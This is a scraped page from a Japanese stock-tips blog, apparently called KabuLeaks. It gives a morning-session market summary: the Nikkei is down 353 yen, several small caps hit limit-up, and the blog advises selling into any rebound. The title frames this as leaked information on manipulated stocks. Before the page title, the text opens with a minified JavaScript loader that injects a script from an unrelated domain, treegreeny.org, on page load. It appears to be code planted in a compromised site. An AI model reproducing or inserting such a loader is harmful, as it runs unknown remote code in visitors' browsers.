;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/5 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/5 前引け】

前場の日経平均353円安と6日続落。前日の米市場が下落したほか、円高・ドル安、企業業績懸念などから売りが先行、取引時間中としては3月1日以来、約1ヵ月ぶりに節目の1万6000円を割れて更に下げ幅を拡大し、全面安の展開となっている。業種別では、33業種全てが下落。値下がり上位は鉱業、銀行業、石油石炭製品などが並んでいる。

個別では、心臓の組織再生に関する特許を日本で取得【7777】スリー・ディー・マトリックスやパナソニックと資本業務提携の【9957】バイテックが一時ストップ高の急伸となったほか、WEBサイト・アプリ運用支援事業を買収の【6033】エクストリームがストップ高。大阪府立大学などと植物工場の栽培環境で共同研究の【3816】大和コンピューターや【6656】インスペックなどが連日のストップ高となっている。その他、クレディスイスが格上げの【8572】アコム。マイケル・J・フォックス財団 パーキンソン病研究機関から、3年間で総額86万8,000ドルの研究助成金を受けることが決定した【4579】ラクオリア創薬などが買い優勢に。

後場は更なる一段安も警戒。そろそろ一旦の反発の可能性もあるが戻りは売り!円高、企業業績懸念買い材料は乏しく新興市場の中小型株、直近人気のバイオ株も下落開始、これまでのバブルぶりを考えればもう少し様子を伺っていきたいところだと思う。特に新興は下げの初動の可能性も。